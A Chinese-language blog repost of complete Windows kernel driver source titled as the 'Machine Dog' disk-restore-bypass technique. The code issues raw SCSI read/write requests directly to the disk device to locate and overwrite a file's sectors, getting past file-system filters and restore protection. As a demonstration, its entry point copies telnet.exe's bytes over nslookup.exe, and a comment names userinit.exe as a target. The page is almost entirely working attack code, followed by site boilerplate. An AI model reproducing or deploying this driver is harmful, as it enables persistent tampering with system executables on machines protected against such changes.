机器狗穿透还原的磁盘级文件读写完整驱动代码

 转载自:http://www.smatrix.org/bbs/read.php?tid=4920

 

文章作者:Eros412

信息来源:邪恶八进制信息安全团队(www.eviloctal.com


#include<ntddk.h>
#include<srb.h>
#define FSCTL_GET_RETRIEVAL_POINTERS 0x90073
#define PARTITION_TYPE_NTFS         0x07
#define PARTITION_TYPE_FAT32        0x0B
#define PARTITION_TYPE_FAT32_LBA    0x0C

extern POBJECT_TYPE* IoDriverObjectType;
LARGE_INTEGER realdiskpos;
ULONG sectorspercluster;

typedef struct RETRIEVAL_POINTERS_BUFFER {
  ULONG ExtentCount;
  LARGE_INTEGER StartingVcn;
  struct {
    LARGE_INTEGER NextVcn;
    LARGE_INTEGER Lcn;
  } Extents[1];
} RETRIEVAL_POINTERS_BUFFER, *PRETRIEVAL_POINTERS_BUFFER;

typedef struct {  
    LARGE_INTEGER StartingVcn;
} STARTING_VCN_INPUT_BUFFER,  *PSTARTING_VCN_INPUT_BUFFER;

typedef struct _SENSE_DATA {
  unsigned char Valid;
  unsigned char SegmentNumber;
  unsigned char FileMark;
  unsigned char Information[4];
  unsigned char AdditionalSenseLength;
  unsigned char CommandSpecificInformation[4];
  unsigned char AdditionalSenseCode;
  unsigned char AdditionalSenseCodeQualifier;
  unsigned char FieldReplaceableUnitCode;
  unsigned char SenseKeySpecific[3];
} SENSE_DATA, *PSENSE_DATA;

#pragma pack(1)
typedef struct _PARTITION_ENTRY
{
  UCHAR active;               
  UCHAR StartHead;             
  UCHAR StartSector;           
  UCHAR StartCylinder;         
  UCHAR PartitionType;         
  UCHAR EndHead;               
  UCHAR EndSector;             
  UCHAR EndCylinder;         
  ULONG StartLBA;             
  ULONG TotalSector;           
} PARTITION_ENTRY, *PPARTITION_ENTRY;

typedef struct _MBR_SECTOR
{
  UCHAR            BootCode[446];
  PARTITION_ENTRY  Partition[4];
  USHORT          Signature;
} MBR_SECTOR, *PMBR_SECTOR;

typedef struct _BBR_SECTOR
{
  USHORT JmpCode;         
  UCHAR  NopCode;           
  UCHAR  OEMName[8];       
  USHORT BytesPerSector;     
  UCHAR  SectorsPerCluster;
  USHORT ReservedSectors;     
  UCHAR  NumberOfFATs;       
  USHORT RootEntries;     
  USHORT NumberOfSectors16;   
  UCHAR  MediaDescriptor;   
  USHORT SectorsPerFAT16;   
  USHORT SectorsPerTrack;   
  USHORT HeadsPerCylinder;   
  ULONG  HiddenSectors;     
  ULONG  NumberOfSectors32;   
  ULONG  SectorsPerFAT32;     
} BBR_SECTOR, *PBBR_SECTOR;

#pragma pack()
typedef struct _SYSTEM_MODULE_INFORMATION {
    ULONG Reserved[2];
    PVOID Base;
    ULONG Size;
    ULONG Flags;
    USHORT Index;
    USHORT Unknown;
    USHORT LoadCount;
    USHORT ModuleNameOffset;             
    CHAR ImageName[255];
} SYSTEM_MODULE_INFORMATION, *PSYSTEM_MODULE_INFORMATION;

NTSYSAPI
NTSTATUS
NTAPI
ObReferenceObjectByName(
    IN PUNICODE_STRING ObjectName,
    IN ULONG Attributes,
    IN PACCESS_STATE AccessState OPTIONAL,
    IN ACCESS_MASK DesiredAccess OPTIONAL,
    IN POBJECT_TYPE ObjectType,
    IN KPROCESSOR_MODE AccessMode,
    IN OUT PVOID ParseContext OPTIONAL,
    OUT PVOID* Object );
    
NTSYSAPI
NTSTATUS
NTAPI
ZwQuerySystemInformation(
    IN ULONG SystemInformationClass,
    IN OUT PVOID SystemInformation,
    IN ULONG SystemInformationLength,
    OUT PULONG ReturnLength);
    
NTSTATUS
IrpCompletionRoutine(
    IN PDEVICE_OBJECT  DeviceObject,
    IN PIRP  Irp,
    IN PVOID  Context
    )
{
    PMDL mdl;
    Irp->UserIosb->Status=Irp->IoStatus.Status;
    Irp->UserIosb->Information=Irp->IoStatus.Information;
    if(! Context)
    {
        mdl=Irp->MdlAddress;
        if(mdl){
            DbgPrint("read size: %d..", Irp->IoStatus.Information);
            MmUnlockPages(mdl);
            IoFreeMdl(mdl);
        }
    }
    KeSetEvent(Irp->UserEvent, IO_NO_INCREMENT, 0);
    IoFreeIrp(Irp);
    return STATUS_MORE_PROCESSING_REQUIRED;
}

NTSTATUS IrpCompletionRoutine_0(
    IN PDEVICE_OBJECT  DeviceObject,
    IN PIRP  Irp,
    IN PVOID  Context
    )
{
    PMDL mdl;
    Irp->UserIosb->Status=Irp->IoStatus.Status;
    Irp->UserIosb->Information=Irp->IoStatus.Information;
    if (! Context )
    {
        mdl=Irp->MdlAddress;
        if ( mdl )
        {
            DbgPrint("read size: %d..", Irp->IoStatus.Information);
            MmUnlockPages(mdl);
            IoFreeMdl(mdl);
        }
    }
    KeSetEvent(Irp->UserEvent, IO_NO_INCREMENT, 0);
    IoFreeIrp(Irp);
    return STATUS_MORE_PROCESSING_REQUIRED;
}

ULONG GetModuleBase(char* name){
    ULONG                      n,i ;
    PSYSTEM_MODULE_INFORMATION  module;
    PVOID                      pbuftmp;
    char modulename[255];
    ZwQuerySystemInformation(11, &n, 0, &n);
    pbuftmp = ExAllocatePool(NonPagedPool, n);
    ZwQuerySystemInformation(11, pbuftmp, n, NULL);
    module = (PSYSTEM_MODULE_INFORMATION)((PULONG )pbuftmp + 1 );
    n = *((PULONG)pbuftmp );
    for ( i = 0; i < n; i++ )
    {
        strcpy(modulename,module[i].ImageName + module[i].ModuleNameOffset);
        if(!_strnicmp(modulename,name,strlen(name))){
                ExFreePool(pbuftmp);
                return (ULONG)module[i].Base;
        }
    }
    ExFreePool(pbuftmp);
    return 0;
}

NTSTATUS MyIoCallDriver(PDEVICE_OBJECT DeviceObject,PIRP Irp)//自己的IoCallDriver
{
    PIO_STACK_LOCATION stack;
    --Irp->CurrentLocation;
    stack = IoGetNextIrpStackLocation( Irp );
    Irp->Tail.Overlay.CurrentStackLocation= stack;//移动堆栈
    stack->DeviceObject=DeviceObject;
    return (DeviceObject->DriverObject->MajorFunction[(ULONG)stack->MajorFunction])(DeviceObject, Irp);
}

ULONG  AtapiReadWriteDisk(PDEVICE_OBJECT dev_object,ULONG MajorFunction, PVOID buffer,ULONG DiskPos, int BlockCount)
{
    NTSTATUS status;
    PSCSI_REQUEST_BLOCK srb;
    PSENSE_DATA sense;
    KEVENT Event;
    PIRP irp;
    PMDL mdl;
    IO_STATUS_BLOCK isb;
    PIO_STACK_LOCATION isl;
    PVOID psense;
    int count=8;
    while(1){
        srb=ExAllocatePool(0,sizeof(SCSI_REQUEST_BLOCK));
        if(!srb)
        {
            break;
        }
        sense=ExAllocatePool(0,sizeof(SENSE_DATA));
        psense=sense;
        if(!sense)
        {
            break;
        }
        memset(srb,0,sizeof(SCSI_REQUEST_BLOCK));
        memset(sense,0,sizeof(SENSE_DATA));
        srb->Length=sizeof(SCSI_REQUEST_BLOCK);//更多关于srb,请看《SCSI 总线和IDE接口:协议、应用和编程》和《SCSI程序员指南》
        srb->Function=0;
        srb->DataBuffer=buffer;
        srb->DataTransferLength=BlockCount<<9;//sector size*number of sector
        srb->QueueAction=SRB_FLAGS_DISABLE_AUTOSENSE;
        srb->SrbStatus=0;
        srb->ScsiStatus=0;
        srb->NextSrb=0;
        srb->SenseInfoBuffer=sense;
        srb->SenseInfoBufferLength=sizeof(SENSE_DATA);
        if(MajorFunction==IRP_MJ_READ)
                srb->SrbFlags=SRB_FLAGS_DATA_IN;
        else
                srb->SrbFlags=SRB_FLAGS_DATA_OUT;
                
        if(MajorFunction==IRP_MJ_READ)
            srb->SrbFlags|=SRB_FLAGS_ADAPTER_CACHE_ENABLE;
            
        srb->SrbFlags|=SRB_FLAGS_DISABLE_AUTOSENSE;
        srb->TimeOutValue=(srb->DataTransferLength>>10)+1;
        srb->QueueSortKey=DiskPos;
        srb->CdbLength=10;
        srb->Cdb[0]=2*((UCHAR)MajorFunction+ 17);
        srb->Cdb[1]=srb->Cdb[1] & 0x1F | 0x80;
        srb->Cdb[2]=(unsigned char)(DiskPos>>0x18)&0xFF;    //
        srb->Cdb[3]=(unsigned char)(DiskPos>>0x10)&0xFF;    //
        srb->Cdb[4]=(unsigned char)(DiskPos>>0x08)&0xFF;    //
        srb->Cdb[5]=(UCHAR)DiskPos;          //填写sector位置
        srb->Cdb[7]=(UCHAR)BlockCount>>0x08;
        srb->Cdb[8]=(UCHAR)BlockCount;
        //By:Eros412
        KeInitializeEvent(&Event, 0, 0);
        irp=IoAllocateIrp(dev_object->StackSize,0);
        mdl=IoAllocateMdl(buffer, BlockCount<<9, 0, 0, irp);
        irp->MdlAddress=mdl;
        if(!mdl){
            ExFreePool(srb);
            ExFreePool(psense);
            IoFreeIrp(irp);
            return STATUS_INSUFFICIENT_RESOURCES;
        }
        MmProbeAndLockPages(mdl,0,(MajorFunction==IRP_MJ_READ?0:1));
        srb->OriginalRequest=irp;
        irp->UserIosb=&isb;
        irp->UserEvent=&Event;
        irp->IoStatus.Status=0;
        irp->IoStatus.Information=0;
        irp->Flags=IRP_SYNCHRONOUS_API|IRP_NOCACHE;
        irp->AssociatedIrp.SystemBuffer=0;
        irp->Cancel=0;
        irp->RequestorMode=0;
        irp->CancelRoutine=0;
        irp->Tail.Overlay.Thread=PsGetCurrentThread();
        isl=IoGetNextIrpStackLocation(irp);
        isl->DeviceObject=dev_object;
        isl->MajorFunction=IRP_MJ_SCSI;
        isl->Parameters.Scsi.Srb=srb;
        isl->CompletionRoutine=IrpCompletionRoutine_0;
        isl->Context=srb;
        isl->Control=SL_INVOKE_ON_CANCEL|SL_INVOKE_ON_SUCCESS|SL_INVOKE_ON_ERROR;
        status=MyIoCallDriver(dev_object,irp);
        KeWaitForSingleObject(&Event, 0, 0, 0, 0);
        if(srb->SenseInfoBuffer!=psense&&srb->SenseInfoBuffer)
                ExFreePool(srb->SenseInfoBuffer);
        ExFreePool(srb);
        ExFreePool(psense);
        if ( status >= 0 || !count )
            return status;
        DbgPrint("Send XXX Failed..%08x/r/n", status);
        KeStallExecutionProcessor(1u);
        --count;
    }
    return STATUS_INSUFFICIENT_RESOURCES;
}

PDEVICE_OBJECT GetLastDiskDeviceObject(PDRIVER_OBJECT drv_object)//这个就是DR0
{
  PDEVICE_OBJECT result;
  PDEVICE_OBJECT finddev;
  finddev=drv_object->DeviceObject;
  result=NULL;
  while (finddev)
  {
    if (finddev->DeviceType==FILE_DEVICE_DISK)
      result = finddev;
    finddev=finddev->NextDevice;
  }
  return result;
}


PDEVICE_OBJECT GetAtaDr0DevObject()
{
    UNICODE_STRING diskstr;
    PDRIVER_OBJECT diskdrv;
    PDEVICE_OBJECT dr0dev;
    RtlInitUnicodeString(&diskstr, L"//Driver//Disk");
    if(ObReferenceObjectByName(&diskstr,64,0,0,*IoDriverObjectType,0,0,&diskdrv)<0)
        return NULL;
    dr0dev=GetLastDiskDeviceObject(diskdrv);
    if(dr0dev)
    DbgPrint("Eros412 said : ata dr0 dev obj is : %08x...",dr0dev);
    ObfDereferenceObject(diskdrv);
    return dr0dev;
}

PDEVICE_OBJECT GetFileObjectDevice(PFILE_OBJECT Object)
{
    PDEVICE_OBJECT result=NULL;
    PVPB vpb;
    vpb=Object->Vpb;
    result=vpb->DeviceObject;
    if(!vpb||!result)
    {
        if(!Object->DeviceObject->Vpb||!Object->DeviceObject->Vpb->DeviceObject)
            result=Object->DeviceObject;
    }
    return result;
}

PLARGE_INTEGER GetPosAndCluster()//得到第一个分区文件数据的起始位置
{
    PVOID buffer;
    ULONG type,startlba;
    int i;
    PLARGE_INTEGER result;
    PDEVICE_OBJECT dev;
    PMBR_SECTOR mbrsec;
    PPARTITION_ENTRY partition0;
    PBBR_SECTOR bootsec;
    result=ExAllocatePool(0,sizeof(LARGE_INTEGER));
    dev=GetAtaDr0DevObject();
    if(dev)
    {
        buffer=ExAllocatePool(0,512);
        memset(buffer,0,512);
        if(AtapiReadWriteDisk(dev, IRP_MJ_READ, buffer, 0, 1)>0)
            DbgPrint("AtapiReadWriteDisk ok");
        mbrsec=(PMBR_SECTOR)buffer;
        partition0=&mbrsec->Partition[0];
        startlba=partition0[0].StartLBA;
        type=partition0[0].PartitionType;
        DbgPrint("dwPartOnePos:0x%08x..1", startlba);
        result->QuadPart=startlba;
        memset(buffer,0,512);
        if(AtapiReadWriteDisk(dev, IRP_MJ_READ, buffer, startlba, 1)>0){
            bootsec=(PBBR_SECTOR)buffer;
                DbgPrint("gSectorsPerCluster:%d...", bootsec->SectorsPerCluster);
                sectorspercluster=bootsec->SectorsPerCluster;
        }
        result->QuadPart+=bootsec->ReservedSectors;
        DbgPrint("dwPartOnePos:%I64x..2/r/n", result->QuadPart);
        if(type==PARTITION_TYPE_FAT32||type==PARTITION_TYPE_FAT32_LBA)
            result->QuadPart+=bootsec->NumberOfFATs*bootsec->SectorsPerFAT32;
        DbgPrint("dwPartOnePos:%I64x..3/r/n", result->QuadPart);
    }
    else
        result->QuadPart=0;
        
    return result;
}

NTSTATUS
OpenFile(PHANDLE FileHandle,PWCHAR filename)
{
    NTSTATUS status;
    ULONG v3;
    int v5;
    UNICODE_STRING DestinationString;
    OBJECT_ATTRIBUTES ObjectAttributes;
    struct _IO_STATUS_BLOCK IoStatusBlock;
    RtlInitUnicodeString(&DestinationString, filename);//L"//SystemRoot//System32//userinit.exe"
    ObjectAttributes.ObjectName = &DestinationString;
    ObjectAttributes.Length = 24;
    ObjectAttributes.RootDirectory = 0;
    ObjectAttributes.Attributes =OBJ_KERNEL_HANDLE | OBJ_CASE_INSENSITIVE;// 576;
    ObjectAttributes.SecurityDescriptor = 0;
    ObjectAttributes.SecurityQualityOfService = 0;
    status = IoCreateFile(FileHandle, GENERIC_READ , &ObjectAttributes, &IoStatusBlock, 0, FILE_ATTRIBUTE_NORMAL, FILE_SHARE_READ, FILE_OPEN , 0x50u, 0, 0, 0, 0, 0);
    if ( status != STATUS_SUCCESS)
    DbgPrint("Open File failed...%08x..", status );
    return status;
}

PLARGE_INTEGER getfilesize(PWCHAR filename){
    PLARGE_INTEGER filesize;
    HANDLE hfile;
    IO_STATUS_BLOCK IoStatusBlock;
    filesize=ExAllocatePool(0,sizeof(LARGE_INTEGER));
    OpenFile(&hfile,filename);
    ZwQueryInformationFile(hfile, &IoStatusBlock, filesize, 24, FileStandardInformation);
    return filesize;
}

NTSTATUS InitSectors(PWCHAR filename){//得到文件在扇区的位置,存放在realdiskpos
    PLARGE_INTEGER diskpos;
    NTSTATUS status,newstatus;
    HANDLE filehandle;
    PVOID testingpool;
    IO_STATUS_BLOCK iosb;
    LARGE_INTEGER ByteOffset;
    PFILE_OBJECT Object;
    PDEVICE_OBJECT dev;
    PIRP irp;
    KEVENT Event;
    IO_STATUS_BLOCK iosb2;
    PIO_STACK_LOCATION nextio;
    STARTING_VCN_INPUT_BUFFER StartVcn;
    unsigned char abBuffer[1024];
    PRETRIEVAL_POINTERS_BUFFER pVcnPairs;
    realdiskpos.QuadPart=0;
    StartVcn.StartingVcn.QuadPart=0;
       
    memset(abBuffer, 0, 1024);
    pVcnPairs = (PRETRIEVAL_POINTERS_BUFFER)abBuffer;
    if(OpenFile(&filehandle,filename)!= STATUS_SUCCESS)
            return 1;
    testingpool=ExAllocatePool(0,512);
    ByteOffset.QuadPart=0;
    if(ZwReadFile(filehandle,0,0,0,&iosb,testingpool,512,&ByteOffset,0)!=STATUS_SUCCESS){
            DbgPrint("ZwReadFile error");
            goto end;
    }
    if(ObReferenceObjectByHandle(filehandle,0,(POBJECT_TYPE)*IoFileObjectType,0,&Object,0)<0){
            DbgPrint("ObReferenceObjectByHandle error");
            goto end;
    }
    dev=GetFileObjectDevice(Object);
    if(!dev){
        DbgPrint("Get Device Object error");
        goto end2;
    }
    DbgPrint("pDevObj is: %08x...",dev);
    irp=IoAllocateIrp( dev->StackSize, 0);
    if(irp==NULL)
        goto end2;
    KeInitializeEvent(&Event, SynchronizationEvent, 0);
    irp->AssociatedIrp.SystemBuffer=&StartVcn;
    irp->UserBuffer=pVcnPairs;
    irp->UserEvent=&Event;
    irp->MdlAddress=0;
    irp->UserIosb=&iosb2;
    irp->RequestorMode=KernelMode;
    irp->Tail.Overlay.Thread=PsGetCurrentThread();
    irp->Tail.Overlay.OriginalFileObject=Object;
    irp->Flags = 0;
    nextio = IoGetNextIrpStackLocation(irp);
    nextio->MajorFunction=IRP_MJ_FILE_SYSTEM_CONTROL;
    nextio->DeviceObject=dev;
    nextio->FileObject=Object;
    nextio->Parameters.FileSystemControl.InputBufferLength= sizeof(STARTING_VCN_INPUT_BUFFER);
    nextio->Parameters.FileSystemControl.FsControlCode=FSCTL_GET_RETRIEVAL_POINTERS;
    nextio->Parameters.FileSystemControl.Type3InputBuffer=&StartVcn;
    nextio->Parameters.FileSystemControl.OutputBufferLength=1024;
    nextio->CompletionRoutine=IrpCompletionRoutine;
    nextio->Context=0;
    nextio->Control=SL_INVOKE_ON_CANCEL|SL_INVOKE_ON_SUCCESS|SL_INVOKE_ON_ERROR;
 
    MyIoCallDriver(dev,irp);
    KeWaitForSingleObject(&Event, 0,0,0, NULL);
    newstatus = iosb2.Status;
    if(newstatus<0){
        DbgPrint("MyIofCallDriver  failed:%08x...",newstatus);
        goto end2;
    }
    DbgPrint("ExtentCount = %d",pVcnPairs->ExtentCount);
    DbgPrint("StartLcn = %I64x",pVcnPairs->Extents[0].Lcn.QuadPart);
    diskpos=GetPosAndCluster();
    realdiskpos.QuadPart=diskpos->QuadPart+sectorspercluster*pVcnPairs->Extents[0].Lcn.QuadPart;
    if(diskpos){
        DbgPrint("gDiskPos is: %I64x..Cluster:%d...part offset: %08x..",realdiskpos.QuadPart,sectorspercluster,diskpos->QuadPart);
    }
    return 0;
end2:
    if(irp!=NULL)
    IoFreeIrp(irp);
    ObDereferenceObject(Object);
end:
    ZwClose(filehandle);
    if(testingpool)
    ExFreePool(testingpool);
    return 1;
}


VOID DriverUnload(
    IN PDRIVER_OBJECT  DriverObject
    )
{
    KdPrint(("DriverUnload Run!\n"));
}

NTSTATUS
 DriverEntry(
    IN PDRIVER_OBJECT  DriverObject,
    IN PUNICODE_STRING  RegistryPath
    )
{
    PLARGE_INTEGER filesize;
    PDEVICE_OBJECT dev;
    PVOID buf;
    ULONG psector;
    DriverObject->DriverUnload =DriverUnload;
    InitSectors(L"//??//c://telnet.exe");
    /*找了两个大小差不多的文件,把telnet.exe的binary code拷贝到nslookup.exe,系统重启后生效(注:当exe执行时FSD从cache里把内容拷贝过来,所以需要重启)*/
    
    filesize=getfilesize(L"//??//c://telnet.exe");
    buf=ExAllocatePool(0,filesize->LowPart);
    memset(buf,0x00,filesize->LowPart);
    dev=GetAtaDr0DevObject();
    psector=realdiskpos.LowPart;
    if(dev!=NULL&&psector!=0&&buf!=NULL){
        AtapiReadWriteDisk(dev,IRP_MJ_READ,buf,psector,(filesize->LowPart/512)+1);
        InitSectors(L"//??//c://nslookup.exe");
        filesize=getfilesize(L"//??//c://nslookup.exe");
        psector=realdiskpos.LowPart;
        AtapiReadWriteDisk(dev,IRP_MJ_WRITE,buf,psector,(filesize->LowPart/512)+1);
    }
    return STATUS_SUCCESS;
}


评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值